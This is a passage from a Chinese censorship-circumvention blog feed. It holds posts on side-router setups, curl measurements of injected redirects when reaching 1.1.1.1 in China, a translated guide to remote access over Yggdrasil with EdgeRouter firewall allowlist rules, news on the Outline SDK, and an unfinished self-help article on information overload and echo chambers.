<p>旁路由实际上是运行透明代理功能的网关,有人认为这个概念很民科,但我并不认同,毕竟它只是在通过已有的能力来解决特定场景的问题,和我们写代码、做产品没有本质区别,而「旁路由」这个名词也不过是个约定俗成的叫法而已,不应该被批判。</p>
<p>另一方面,由于旁路由在不同设备、不同网络环境有可能遇到很多奇怪问题,其实对于非专业用户来说付出的时间成本很有可能会远大于直接替换主路由的成本。但生命不息,折腾不止,如果是为了收获折腾的快乐、学习到新的知识,那又有何不可呢?</p>
</div> <div class="blogger-post-footer">翻墙技术博客<a href="http://www.chinagfw.org/2013/09/blog-post.html">订阅地址及社交帐号</a></div>pompeihttp://www.blogger.com/profile/07160630084550754009noreply@blogger.com0tag:blogger.com,1999:blog-5500297126185736776.post-86482380335033434672023-10-02T13:11:00.000+08:002023-10-02T13:11:04.452+08:00多份报告称中国封锁了1.1.1.1<span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">自2023年10月1日起,有多份报告称中国封锁了1.1.1.1这个IP地址。而根据一份来自@5e2t的观察报告称,自2023年9月5日至20日,中国注入了TCP RST数据包以封锁1.1.1.1:443端口。<br /><br />在腾讯云北京(ASN AS45090)的VPS上对此事件的观察结果:<br /><br />与@5e2t的观察结果不同,我们并未在我们的观察点上观察到1.1.1.1:443端口的TCP RST数据包。特别是,我们可以成功使用curl -v https://1.1.1.1获取完整的网页。这表明这次新的审查事件在不同地理位置或自治系统之间存在不一致性。<br /><br />我们观察到1.1.1.1:80端口可能会注入一个“302 Moved Temporarily”或“301 Moved Permanently”消息,试图将用户重定向到国家反欺诈中心的网站。<br /><br />以下是一种未发生注入的示例:<br /><br /><blockquote>ubuntu@VM-32-5-ubuntu:~$ curl -v http://1.1.1.1<br />* Trying 1.1.1.1:80...<br />* TCP_NODELAY set<br />* Connected to 1.1.1.1 (1.1.1.1) port 80 (#0)<br />> GET / HTTP/1.1<br />> Host: 1.1.1.1<br />> User-Agent: curl/7.68.0<br />> Accept: */*<br />><br />* Mark bundle as not supporting multiuse<br />< HTTP/1.1 301 Moved Permanently<br />< Server: cloudflare<br />< Date: Sun, 01 Oct 2023 22:49:54 GMT<br />< Content-Type: text/html<br />< Content-Length: 167<br />< Connection: keep-alive<br />< Location: https://1.1.1.1/<br />< CF-RAY: **REDACTED**-SJC<br /><<br /><html><br /><head><title>301 Moved Permanently</title></head><br /><body><br /><center><h1>301 Moved Permanently</h1></center><br /><hr><center>cloudflare</center><br /></body><br /></html><br />* Connection #0 to host 1.1.1.1 left intact</blockquote><br /><br />以下是注入了“302 Moved Temporarily”的示例:<br /><br /><blockquote>ubuntu@VM-32-5-ubuntu:~$ curl -v http://1.1.1.1<br />* Trying 1.1.1.1:80...<br />* TCP_NODELAY set<br />* Connected to 1.1.1.1 (1.1.1.1) port 80 (#0)<br />> GET / HTTP/1.1<br />> Host: 1.1.1.1<br />> User-Agent: curl/7.68.0<br />> Accept: */*<br />><br />* Mark bundle as not supporting multiuse<br />< HTTP/1.1 302 Moved Temporarily<br />< Connection: close<br />< Location: http://182.43.124.6/fzyujing?parameter2=REDACTED<br /><<br />* Closing connection 0</blockquote><br /><br />特别需要注意的是,输出中的REDACTED参数由319个字符组成。通过在不同时间点对相同的观察点进行查询,发现319个字符消息中只有第129到150个字符(22个字符)和第257到278个字符(22个字符)发生了变化。目前尚不清楚这个参数中编码了什么信息。<br /><br />来自1.1.1.1的真实的301 Moved Permanently响应最终会传递给客户端(但比注入消息到达的时间晚),表明审查者并未丢弃来自1.1.1.1:80的真实响应。<br /><br />托管国家反欺诈中心网站的IP <a href="http://182.43.124.6">182.43.124.6</a>的ASN信息如下:<br /><br /><blockquote>host asn asname cc registry<br />182.43.124.6 AS58519 CHINATELECOM-CTCLOUD Cloud Computing Corporation, CN CN apnic</blockquote><br /><br />此外,根据@5e2t的观察,他位于河南,但收到的RST信号并不来自河南的审查设备,而是上海出口的审查设备。由于他和上海出口之间的延迟为28毫秒,traceroute也显示网络路径经过了上海。<br /></span><img alt="Screenshot from 2023-10-02 08-48-19" src="https://blogger.googleusercontent.com/img/proxy/AVvXsEj3IF83sOEigSWicEicocLehY2JFETIwMPXJS3qrSAgf1FAnhPbySfoM1uyX8xkLWDlv0DJ2MbEWGVqGar1_5UvlMRJWFyW5NLmvjV3Iu4LCkovponNX2ffDf3DQmBmPXKetjyS-BTHFa9KwtZviwJ-FaCAvNjBcfRDjTxSdr8fSJUB7bF7WozxaN2kiMXBdWFe9-q4YNG9PCYtFFHaKmemwStaXpsv=s0-d-e1-ft" /><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">基于中国网络审查的复杂性和地域差异, </span><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">有关GFW是否对1.1.1.1进行了封锁尚不得而知。我们将继续关注事件的进展,并持续报道相关信息。<br /></span> <div class="blogger-post-footer">翻墙技术博客<a href="http://www.chinagfw.org/2013/09/blog-post.html">订阅地址及社交帐号</a></div>pompeihttp://www.blogger.com/profile/07160630084550754009noreply@blogger.com0tag:blogger.com,1999:blog-5500297126185736776.post-4690160202152190102023-09-22T11:56:00.004+08:002023-09-23T20:24:35.367+08:00使用Yggdrasil进行远程访问<p><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">
来源: <a href="https://here.news/post/53977940-e2da-4d26-99a7-24e65eae588a/使用Yggdrasil进行远程访问">HERE</a></span></p><div class="flex flex-col gap-4 px-1 my-4"><h1 class="text-5xl lg:text-6xl xl:text-7xl leading-[1.2em] !text-base sm:!text-2xl !leading-[1.6rem] sm:!leading-[2.4rem] font-medium text-header"></h1><div class="SinglePost_SinglePost__3in7m"><p><strong>作者:Neil Alexander</strong></p><h2 style="text-align: left;"><b>关于 Yggdrasil网络</b></h2><p><a href="https://yggdrasil-network.github.io/installation.html" target="_blank">Yggdrasil</a> 是一种新的实验性紧凑路由方案,设计用于网状或类似互联网的网络。它主要是一种最短路径方案,网络将尝试找到最直接的路径到目的地。</p><p>与今天许多网络上使用的结构化和通常层次化的路由方案相比,Yggdrasil是强烈的分散式和自动排列的。网络上的每个节点都由一个加密公钥标识,在实现中,<strong>IPv6地址是从该密钥生成的</strong>。网络拓扑是自适应的,旨在利用可用的任何链接,以提供所有网络参与者之间的完全路由能力。这是因为所有Yggdrasil节点都是路由器,共享路由知识并代表其他网络参与者转发流量。</p><p>下表说明了传统网络(如互联网)和Yggdrasil网络之间的差异:</p><p> 传统网络 Yggdrasil</p><p>网络上所有流量的端到端加密 否 是</p><p>使用DHT共享分散式路由信息 否 是</p><p>具有密码绑定的寻址,没有中央机构 否 是</p><p>节点知道其与其他节点的相对位置 否 是</p><p>移动寻址随设备移动而保持不变 否 是</p><p>拓扑图在不同媒介上优雅扩展,如网状 否 是</p><h2>今天存在哪些问题?</h2><p>我们今天所知的互联网并不符合明确定义的拓扑结构。这在很大程度上是随着互联网的发展而发生的,越来越多的网络通过服务提供商之间的互联安排“拼凑”在一起。缺乏明确定义的拓扑给我们带来了一些不可避免的问题:</p><ul><li><p>存储“互联网地图”的路由表非常庞大且低效,因为每个提供商都必须传递有关所有其他提供商的IP前缀的信息</p></li><li><p>计算机实际上没有办法知道它在互联网上相对于其他任何东西的位置 - 大多数计算机只知道一个“默认网关”</p></li><li><p>很难在不实际发送数据包的情况下检查它从源到目的地的路径</p></li></ul><p>这些问题已经在一定程度上得到缓解(但并没有真正解决)
-
与其在家中的计算机上保存全局路由表的副本相比,您的服务提供商代表您这样做。您的计算机和网络设备只需配置为“将流量发送到上游”,并让您的提供商决定流量的去向。这使您完全受制于您的ISP,他们可以将您的流量重定向到任何地方,并对其进行检查、操作或拦截。</p><p>ISP网络通常具有结构化的设计,并且通常是层次化的,因此许多现有的路由协议都是根据此设计的。一些优化,如前缀聚合,用于尝试减少提供商必须发送到世界各地的路由条目数量。这些协议通常不适用于拓扑不明确或经常变化的网络
- 例如无线网状网络,因此过去很难让社区根据需要构建自己的无线网状基础设施。</p><h2>Yggdrasil有什么不同之处?</h2><p>Yggdrasil在共享路由知识方面采取了非常不同的方法。与通过集中分配自治系统的路径来分发地址范围不同,Yggdrasil以分布式方式建立一个单一的全局网络拓扑。</p><p>使用生成树提供同步,并允许节点分配一组树坐标,这些坐标用于交换和建立引导和路径设置消息。然后,节点通过网络设置到其键空间邻居的路径,有效地将网络排列成一个由公钥排序的虚拟线。然后,中间节点使用这些路径填充其路由表,使节点能够将数据包转发到更接近其目标公钥的位置。</p><p>此外,节点可以使用生成树路由进行路径查找,以建立比通过键空间的路径更短的路径,然后切换流量会话到源路由。只要源路由路径可用,通常更直接的源路由将继续使用,并在源路由路径中断时回退到键空间路由。</p><p>使用加密签名来保护树公告、引导和路径消息,防止篡改或伪造。</p><p>有什么好处?</p><p>这种路由方案有许多好处:</p><ul><li><p>设备只需要维护相对较少的状态以便正常工作和转发数据包 - 没有任何Yggdrasil节点需要像BGP那样维护“完整的路由表”,大多数节点总共只有少数几个路由表条目</p></li><li><p>路径会自动发现和建立,因此不需要手动配置路由条目 - 唯一需要配置的是节点之间的对等连接</p></li><li><p>网络可以快速建立和拆除路径,而无需丢弃所有路由状态,这在处理节点移动事件时有助于显着减少丢包</p></li><li><p>我们可以轻松地将可靠/静态网络与动态/非静态网络桥接,而无需洪泛大量状态</p></li><li><p>当任何两个或更多个Yggdrasil节点相互连接时,网络会自动形成,即使这些连接完全是临时的</p></li><li><p>稀疏的路由知识和仅有少量的协议流量应该意味着Yggdrasil能够高效地扩展到非常大的网络</p></li></ul><h2>取代传统的VPN</h2><p>到目前为止,我最喜欢也是最常使用Yggdrasil的一个用例是从远程位置(比如工作地点或我随身携带的笔记本电脑所在的任何地方)访问我的机器。最近,我主要关注的是通过VNC使用Yggdrasil连接到我家里的iMac,而VNC恰好内置在macOS中。我发现Yggdrasil是一款出色的工具,它有效地取代了我对传统VPN的需求。</p><p>使用Yggdrasil进行远程访问的一些优点包括:</p><ul><li><p>端到端加密,为通常在开箱即用的情况下并不安全的协议(如VNC或FTP)提供传输安全性</p></li><li><p>TCP-over-TCP性能优越 - 显著优于OpenVPN或SSH转发!</p></li><li><p>源可验证性,可以根据源IPv6地址进行白名单验证,并阻止其他所有人</p></li><li><p>可在网络的任何地方进行路由</p></li></ul><h2>端到端加密</h2><p>所有通过Yggdrasil的隧道流量都在加密的“会话”中进行。当你试图向该节点发送流量时,会在你和远程节点之间建立一个会话。作为会话握手的一部分,你的公钥加密密钥被交换,这些密钥用于对所有封装的网络流量进行完全的端到端加密。</p><p>即使是纯文本协议,在跨Yggdrasil网络传输时也会被加密,确保没有中间路由器或对手可以窥探你的流量,使得像VNC这样的协议更安全,因为它们本身可能并不安全。</p><p>这也意味着,你可以在Yggdrasil上发送和接收流量,而不必过于担心在给定位置的网络的安全性。公共场所的开放Wi-Fi网络对于任何类型的连接安全性来说都是一场噩梦,因为它们通常没有受到无线加密的保护,但是对于Yggdrasil来说,这并不是一个问题。</p><h2>TCP-over-TCP性能</h2><p>过去,我曾尝试使用OpenVPN和SSH隧道作为一种回家的方法,通过在我的EdgeRouter
X上终止VPN连接。我的工作地点的网络允许在少数端口上进行出站TCP连接,并且在互联网边界完全丢弃UDP,因此我被限制在TCP模式下使用OpenVPN,而不是UDP模式。</p><p>对于传输少量信息,这种方法是可行的,但肯定不是特别好。OpenVPN并未对TCP流量进行任何优化,因此,对于任何对延迟敏感的内容,性能都很糟糕 - 回到我的iMac上的VNC根本无法使用。SSH转发也没有好多少。</p><p>相反,我在我的EdgeRouter
X上安装了Yggdrasil,并将其作为网关来直接路由到我的家庭机器(这是未来博客文章的一个主题)。每个Yggdrasil节点都有一个路由的/64子网,这在我的情况下,使用iptables将NETMAP'd映射到我的家庭IPv6
ULA范围。这实际上使我的整个家庭网络在Yggdrasil网络上可路由(即使是那些不知道Yggdrasil的设备或没有安装它的设备),只需遵守一些防火墙限制,我将在后面讨论。</p><p>主要的好处在于,Yggdrasil使用LIFO队列进行会话流量,并利用巨大的MTUs(如我之前的博客文章中所讨论的)来减少TCP控制消息放大的影响,并改善拥塞处理。这使得在TCP
Yggdrasil对等连接上隧道TCP时,连接的可用性和稳定性得到了大大的改善 -
VNC的稳定性和响应性在这种设置下比在OpenVPN或SSH上得到了大大的改善。</p><h2>防火墙和源可验证性</h2><p>当然,Yggdrasil网络上还有其他人,你不能确定他们是谁,或者他们可能是恶意的。因此,就像在互联网上一样,使用防火墙是明智的。源可验证性在这里特别有用,因为它使得只允许特定的机器通过你的防火墙发送流量,并将所有其他人排除在外变得相当容易。</p><p>在Yggdrasil中,你的IPv6地址与你的加密密钥对直接关联,因此,对你的密钥对的任何更改都会导致你的IPv6地址随之更改。当你生成一个配置(使用yggdrasil
-genconf)时,你实际上是在生成一个新的IPv6地址。只要你继续在给定的机器上使用相同的Yggdrasil配置和相同的加密密钥对,那么该机器将永远保持相同的Yggdrasil
IPv6地址。</p><p>这意味着我可以在我的EdgeRouter防火墙上创建一个白名单,除非它来自我已知的特定Yggdrasil
IPv6地址列表,比如我的工作电脑和我的笔记本电脑,否则我会丢弃指向我的网络的连接。任何来自这个白名单之外的地址的意外连接都会被丢弃,从网络上隐藏我的机器。</p><p>以下是我在我的EdgeRouter X上实现这个的一个例子:</p><blockquote><p>set firewall group ipv6-address-group YGG_TRUSTED ipv6-address 'xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx'</p><p>set firewall group ipv6-network-group YGG_TRUSTEDNETS ipv6-network 'xxx:xxx:xxx::/48'</p><p>set firewall ipv6-name YGG_IN default-action drop</p><p>set firewall ipv6-name YGG_IN rule 10 action accept</p><p>set firewall ipv6-name YGG_IN rule 10 state established enable</p><p>set firewall ipv6-name YGG_IN rule 10 state related enable</p><p>set firewall ipv6-name YGG_IN rule 20 action drop</p><p>set firewall ipv6-name YGG_IN rule 20 state invalid enable</p><p>set firewall ipv6-name YGG_IN rule 30 action accept</p><p>set firewall ipv6-name YGG_IN rule 30 source group ipv6-address-group YGG_TRUSTED</p><p>set firewall ipv6-name YGG_IN rule 40 action accept</p><p>set firewall ipv6-name YGG_IN rule 40 source group ipv6-network-group YGG_TRUSTEDNETS</p><p>set firewall ipv6-name YGG_LOCAL default-action drop</p><p>set firewall ipv6-name YGG_LOCAL rule 10 action accept</p><p>set firewall ipv6-name YGG_LOCAL rule 10 state established enable</p><p>set firewall ipv6-name YGG_LOCAL rule 10 state related enable</p><p>set firewall ipv6-name YGG_LOCAL rule 20 action drop</p><p>set firewall ipv6-name YGG_LOCAL rule 20 state invalid enable</p><p>set firewall ipv6-name YGG_LOCAL rule 30 action accept</p><p>set firewall ipv6-name YGG_LOCAL rule 30 source group ipv6-address-group YGG_TRUSTED</p><p>set interfaces yggdrasil tun0 firewall in ipv6-name YGG_IN</p><p>set interfaces yggdrasil tun0 firewall local ipv6-name YGG_LOCAL</p></blockquote><h2>从整个网络路由</h2><p>你不需要直接与一个节点进行对等连接就能远程访问它
-
你可以从Yggdrasil网络的任何地方路由流量。最好总是与地理位置接近你自己的节点进行对等连接,因为这有助于减少网络延迟。然而,你可以在一个新的位置(例如,使用笔记本电脑)设置,并连接到你最近的Yggdrasil节点,仍然能够像以前一样访问你的机器。</p><h2>结论</h2><p>Yggdrasil已经证明是一种非常有能力的方法,可以远程访问我的家庭网络,并且非常正常化了所有网络流量都应该被加密并被视为私有的观念,即使在连接安全性不能保证的地方也是如此。</p><p><a href="https://yggdrasil-network.github.io/2018/07/15/remote-access.html" target="_blank">https://yggdrasil-network.github.io/2018/07/15/remote-access.html</a></p></div></div><p><span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;"> </span> </p><div class="blogger-post-footer">翻墙技术博客<a href="http://www.chinagfw.org/2013/09/blog-post.html">订阅地址及社交帐号</a></div>pompeihttp://www.blogger.com/profile/07160630084550754009noreply@blogger.com0tag:blogger.com,1999:blog-5500297126185736776.post-56002307358721387002023-09-20T11:17:00.006+08:002023-09-20T11:23:40.485+08:00谷歌将Outline开源项目的代码作为SDK提供给开发者<p>via <a href="https://here.news/post/ef9f331f-843b-4dfb-b698-90598f568a8a/%E8%B0%B7%E6%AD%8C%E5%B0%86outline%E5%BC%80%E6%BA%90%E9%A1%B9%E7%9B%AE%E7%9A%84%E4%BB%A3%E7%A0%81%E4%BD%9C%E4%B8%BAsdk%E6%8F%90%E4%BE%9B%E7%BB%99%E5%BC%80%E5%8F%91%E8%80%85">HERE.news</a> <br /></p><p> <br />谷歌开始将其<a href="https://github.com/Jigsaw-Code/outline-sdk">Outline代理客户端-服务器代码拆分为软件开发工具包(SDK)</a>,以便开发人员最终可以将绕过审查的技术嵌入到他们的应用程序中。<br /><br /><br />首先,对于那些不知道的人来说:谷歌的Jigsaw互联网自由单位提供了一个名为Outline的开源项目,包括一个客户端和一个管理器。<br /><br />您可以使用管理器启动个人Outline代理服务器,该服务器可以位于您自己的硬件上或云中的虚拟机中,并生成由客户端用于连接到此服务器节点的访问密钥。您可以为自己设置一个Outline服务器,也可以与朋友、家人和同事共享访问权限。成功连接到它的客户端将通过Outline代理服务器安全地路由其设备的互联网流量。<br /><br />因此,如果您无法从您所在的位置访问某些在线服务,您可以通过您的服务器连接,该服务器可以放置在具有更多自由的国家或网络中。Outline有时被描述为VPN,但它实际上是一个与Shadowsocks兼容的代理,并使用标准的加密和身份验证算法:AES和ChaCha20-Poly1305。<br /><br />Outline的主要特点之一是您不使用公共VPN提供商:您使用自己的私有基础设施。另一个主要特点是它被认为相对容易设置和使用,可在Android、iOS、Windows、macOS、Chrome和Linux上随时使用。<br /><br />现在,谷歌已经开始将该客户端代码作为软件开发工具包(SDK)提供,以便将其嵌入到第三方应用程序中,使这些应用程序能够为用户提供内置的绕过审查、地理锁定内容和其他限制的功能。<br /><br />“在危机时刻,互联网连接是生命线,但威权主义政权擅长封锁访问。这就是为什么VPN在人们最需要时保持在线的关键所在,”Jigsaw团队在周三表示。<br /><br />“介绍Outline SDK:我们的团队为开发人员创建了这个工具包。它使他们能够直接将绕过技术嵌入到他们的应用程序中。Outline SDK简化了这个过程,使应用程序即使面临审查也能继续提供关键内容,而无需使用VPN。”<br /><br />目前,该项目的这一部分处于Alpha阶段,具有各种库可供集成到应用程序中。Jigsaw警告说,用Go编写的软件“处于早期阶段,不能保证稳定”。<br /><br />还有一些其他限制。其中之一是目前它只关注客户端,因此如果您想在应用程序中使用Outline,您需要帮助用户设置代理服务器并导入访问密钥。服务器端库以及文档和其他资源尚未推出。<br /><br />此外,Outline并不孤单。还有一些类似的努力,从这个记者的角度来看,Cult of the Dead Cow的类似Tor的Veilid也是一个用于应用程序集成的开源SDK。不过,与Outline不同,Veilid并不真正针对代理或VPN服务,而是针对客户端之间的私密、安全网络连接。<br /><br />如果您想设置自己的VPN,可以查看Trail of Bits的Algo,它使配置WireGuard服务器(另一个很酷的项目)变得简单。<br /><br />无论如何,通过Outline,开发人员似乎有另一个可能的选择,如果他们想要将绕过审查或地理锁定功能添加到他们的应用程序中。® </p><div class="blogger-post-footer">翻墙技术博客<a href="http://www.chinagfw.org/2013/09/blog-post.html">订阅地址及社交帐号</a></div>pompeihttp://www.blogger.com/profile/07160630084550754009noreply@blogger.com0tag:blogger.com,1999:blog-5500297126185736776.post-57521691519284604302023-09-18T00:14:00.003+08:002023-09-19T09:07:22.305+08:00家庭网络改造记录:旁路由<span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">
</span><div class="p-name" itemprop="headline" style="text-align: left;">via <a href="http://whyes.org/2023/home-network-2023">http://whyes.org/2023/home-network-2023<br /></a></div>
<h2>缘由</h2>
<p>今年夏天的高温天气都快结束了,但家里的网络却越发卡顿。终于在一个工作日的晚上,我把光猫和 J1900
软路由都拔电重启了一下。重启后发现,软路由再也不肯工作,家里就上不了网了。一番操作之后,确认了是软路由罢工。好在几年前淘汰下来的华硕 AC66U
还没有扔掉,于是接上去替代了软路由顶过了一天。</p>
<h2>改造过程</h2>
<p>我家里的网络布局是光猫拨号,接 J1900 软路由作为主路由,下面连接了 4 个组建了 Mesh 网络的 Linksys
路由器(开启桥接模式)作为无线 AP。软路由作为主路由的设置是最方便的,毕竟智能音箱的联网和 Apple TV
看油管都需要走外网。但软路由作为主路由也有不合理的地方,因为大多数设备都不需要联外网。30
多个设备都通过软路由走一遍,看起来不是经济的选择。J1900 这样的 x86
软路由发热量比较大,在夏天稳定性下降也是个麻烦事。最近拔电重启的频率明显增加,想不到这次拔电之后就再也起不来了。</p>
<p>于是趁着这个机会,干脆还是试试旁路由。原本的 Linksys
路由器设置的是桥接模式,现在就改成了路由模式,作为主路由。把原来的软路由刷机之后做成旁路由。目前 J1900
软路由至少是固件有损坏,重启数次,都不能正确运行。给这货刷固件需要找 HDMI 线连接显示器、找个 USB 键盘、找个 U
盘来协助写固件,虽然这些东西家里都有,但是折腾起来还是比较痛苦的,于是想干脆还是买个友善 R4S 软路由。我目前办公室里在用一个 R2S
的软路由,非常稳定,看了一下已经连续开机四百多天了,因此对这样的 ARM
设备增加了信心(当然办公室的气温和使用环境比家里电视柜要强多了)。另外,这友善的固件可以写到 TF 卡里,而往 TF
卡写固件比较方便,放在读卡器里插到电脑里就行了。这期间也有朋友提到了给 Apple TV 刷 TVOS17 的测试版固件,然后装某些 App
作为软路由,但考虑到稳定性,还是买个 R4S 的专职软路由可能更合适。于是有了这些操作:</p>
<ul><li>将 Linksys 改成路由模式。这个比较简单,Web 方式登录路由器后台一键修改;</li><li>给 R4S 找个合适的 OpenWRT 固件。目前固件很多,也比较成熟了。</li><li>把 R4S 设置成旁路由模式。这个在油管上也有不少教程,我参考的是 <a href="https://youtu.be/w7rwNF2Q3lM">洋葱的教程</a> 。</li><li>更改一些需要连接外网的设备的网络设置,包括电脑、Apple TV、Google Home、Amazon Echo Dot
等等,把他们的网关和 DNS 都指向 R4S。但修改过程中发现智能音箱不支持修改网络设置,而 Linksys 也不能修改 DHCP
参数。研究了一番,只有关闭了 Linksys 主路由的 DHCP 功能,打开了 R4S 的 DHCP
功能。这样一来,就算是入侵式的旁路由模式了。局域网内的流量都需要通过旁路由走一遍,看起来跟软路由作为主路由没有差别,但在稳定性上还是有一些好处,如果旁路由出问题了,打开主路由的
DHCP 功能就可以了。</li></ul>
<p>于是形成了这样的网络模式:</p>
<div class="photo"><figure><picture><source type="image/webp"></source><img alt="家庭网络.png" height="738" src="https://i.typlog.com/whyes/8305737146_549616.png" width="912" /></picture></figure></div><h2>有待观察的地方</h2>
<ul><li>Linksys 在路由模式下其实是一个节点管理所有设备,目前对它的稳定性还没有足够的信心,只能先观察一阵子。</li><li>目前 R4S 拖这么多设备的信心也不是很足,稳定性也有待观察,希望目前这个固件能够重复出 R2S 的稳定性,动辄能连续开机一年以上。
如果稳定性解决不了,可能得升级无线 AP 或者把 R4S 改成主路由,到时又是一番折腾。</li></ul> <div class="blogger-post-footer">翻墙技术博客<a href="http://www.chinagfw.org/2013/09/blog-post.html">订阅地址及社交帐号</a></div>pompeihttp://www.blogger.com/profile/07160630084550754009noreply@blogger.com0tag:blogger.com,1999:blog-5500297126185736776.post-52060158227671963972023-09-11T12:39:00.003+08:002023-09-14T21:46:31.144+08:00信息茧房自救指南<span face=""hiragino sans gb" , "microsoft yahei" , "arial" , sans-serif" style="background-color: white; color: #333333; font-size: 16px; line-height: 24px;">
</span><div class="SinglePost_SinglePost__3in7m"><div data-file="" data-filetype="image/png" data-url="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/ad9b861c-564c-4f68-9210-7aa56056a8ff_image_image.png"><img alt="Picked image" src="https://storage.googleapis.com/artifacts.phonic-jetty-356702.appspot.com/medias/ad9b861c-564c-4f68-9210-7aa56056a8ff_image_image.png" /></div><p><strong>Michael Simmons<br /></strong></p><blockquote><p>“我们消费的信息和我们摄入的食物一样重要。它影响着我们的思想,我们的行为,我们如何理解自己在世界上的位置,以及我们如何理解他人“ ——Evan Williams,Twitter和Medium的联合创始人</p></blockquote><p>现在,在世界的某个角落,有一段文字、一章内容或者一整本书籍,只要你读过,就有可能永久改变你的人生轨迹。我把这种内容称之为“突破性知识”。</p><p>在这个信息爆炸的时代,寻找并掌握突破性知识的能力,是我们需要学习的最重要的技能之一。我们每个人都曾有过类似的突破性体验。可能是父母、导师或老师说过的一句话,深深地改变了我们的思维和行为。或者是一本书,深深地震撼了我们的内心世界。(下文将这种书籍简称为“触动书”)。</p><p>比如,<a href="https://www.cnbc.com/2017/02/02/billionaire-warren-buffett-discusses-the-book-that-changed-his-life.html" target="_blank">沃伦·巴菲特的“触动书”</a>是<a href="http://amzn.to/2FfcsIJ" target="_blank">《聪明的投资者》</a>,他在19岁时就阅读了这本书。这本书为他的投资哲学奠定了基础。</p><p>而<a href="https://www.cnbc.com/2017/06/06/elon-musk-says-this-science-fiction-classic-changed-his-life.html" target="_blank">埃隆·马斯克的“触动书”</a>是<a href="http://amzn.to/2F6h0lx" target="_blank">《银河系漫游指南》</a>,他表示这本书帮助他思考更大的问题,从而解决世界上更大的问题。</p><p>我最近的“触动书”是<a href="http://amzn.to/2oylsPM" target="_blank">《穷查理宝典》</a>,作者是白手起家的亿万富翁查理·芒格。这是我首次接触到心理模型的书籍。通过学习和<a href="https://www.mentalmodelclub.com/mental-model-club-v2.html?utm_source=Medium&utm_medium=article&utm_campaign=18&utm_content=CTA1" target="_blank">应用心理模型</a>,我成功开启了新的事业。</p><p>一次突破性的知识体验可能只持续几分钟,但它的影响却可能伴随我们一生。这就是学习的极致杠杆效应。</p><p>现在,试想一下,如果每年都能有一次突破性的知识体验,而不是十年才有一次,或者一个月有两次,而不是一年仅有一次,那么这将会带来翻天覆地的改变!这并非遥不可及的梦想。</p><p>考虑到突破性知识的强大影响力和寻找它的难度,我们都需要面对一个基本问题:我们如何在有限的时间中,在纷繁复杂的信息中,找到那份能够改变我们的突破性知识?</p><p>这个问题引起了我的浓厚兴趣。作为一个阅读过数千本跨学科书籍的人,我多年来一直在反复思索这个问题。</p><p>我的书架、亚马逊购物车、Kindle电子书库和Audible愿望清单中堆积着数百本我渴望阅读,但却没时间去读的书。因此,我形成了一个真正的“<a href="https://www.newyorker.com/magazine/2009/08/10/infinite-playlist" target="_blank">无尽的阅读列表</a>”。</p><p>随着时间的推移,我开发出了一种独特的方法来应对信息过载,这是基于我自身的经验,并借鉴了世界上许多<a href="https://medium.com/@michaeldsimmons/how-elon-musk-learns-faster-and-better-than-everyone-else-a010a4f586ef" target="_blank">顶尖企业家和领导者(包括埃隆·马斯克)的学习方式</a>。</p><p>然而,在我们开始采纳这种方法之前,我们首先需要理解这个问题。正如发明家查尔斯·凯特琳(<a href="https://en.wikipedia.org/wiki/Charles_F._Kettering" target="_blank">Charles Kettering</a>)曾经说过的,“一个好问题的提出,就等于问题解决的一半。 ”</p><h2>一、引发信息末日的四大问题</h2><p>尽管信息过载是一个重大问题,但实际上,它是由四个各自以指数级加速恶化的问题构成的,它们汇集在一起,就可能引发一场巨大的危机。</p><p>这场危机有可能让我们集体变得更加愚昧,而非更加聪明,让我们分崩离析,而非团结一致。这场危机有许多种称呼,但我认为最为恰当的是信息末日(<a href="https://www.buzzfeed.com/charliewarzel/the-terrifying-future-of-fake-news?utm_term=.sxdj8a2vY#.lubjnZlo7" target="_blank">Info-Apocalypse</a>)。</p><p>引发信息末日的四大问题包括:内容冲击、信息茧房、持续性分心以及错过恐惧症(FOMO)。</p><p><strong>1.信息末日问题一:内容冲击(Content Shock)</strong></p><blockquote><p>“信息的大量涌入导致了注意力的极度匮乏……”——赫伯特·西蒙(Herbert A. Simon)</p></blockquote><p>随着在线出版和社交媒体的蓬勃发展,我们可以接触到的知识量正在飞速增长,而我们人类的信息处理能力却无法跟上这种速度。同时,每一天,每一秒钟都有更多的内容涌入眼帘。</p><p>问题在于:我们如何从中挖掘出大量新信息,学习新技能?这些信息深藏得太深,我们甚至无法察觉到它们的存在。</p><p><strong>2.信息末日问题二:信息茧房(Echo Chambers)</strong></p><p>随着群体规模的扩大,它们往往会变得<a href="http://www.lifewithalacrity.com/2004/03/the_dunbar_numb.html" target="_blank">不稳定,多元化</a>,最终分化为各种子群体。这种现象在宗教中表现得尤为明显。</p><p>犹太教一直在发展,直到它分裂成多个不同的教派,其中一个分支发展成为基督教。基督教发展后,又分裂成天主教和新教。新教发展后,进一步分裂为浸信会,卫理公会,路德会等等。这种分裂现象在每个发展中的领域都有所体现。</p><p>每个新的群体都会发展出自己的语言和文化。尽管这提高了群体内部的沟通效率,但知识的输入和输出却变得更加困难,因为它必须先经过语言和文化的转译。</p><p>每个群体都会根据与其他群体的差异或优势发展出一种身份认同。这些群体之间的观念壁垒,会导致极端化和偏见的产生。</p><p>在宗教和政治领域,这种现象尤为明显,但实际上,它在所有领域都存在:过于商业化的艺术家被视为“背叛者”。企业家高管常常认为学者过于理论化,脱离实际。许多从事自然科学的人,甚至不认为社会科学是真正的科学。写畅销书的学者,常常被视为不够严谨的研究人员。</p><p>问题在于:每个群体都生活在自己的信息茧房中,他们认为这就是“真实”的世界,他们通过妖魔化其他群体来维持这种信念。</p><p>在这个社交媒体和算法推荐内容盛行的时代,这些信息茧房变得更加孤立,因为我们接触到的信息越来越少,尤其是那些来自于我们所选择的群体之外的信息。</p><p><strong>3.信息末日问题三:注意力持续性涣散(Constant 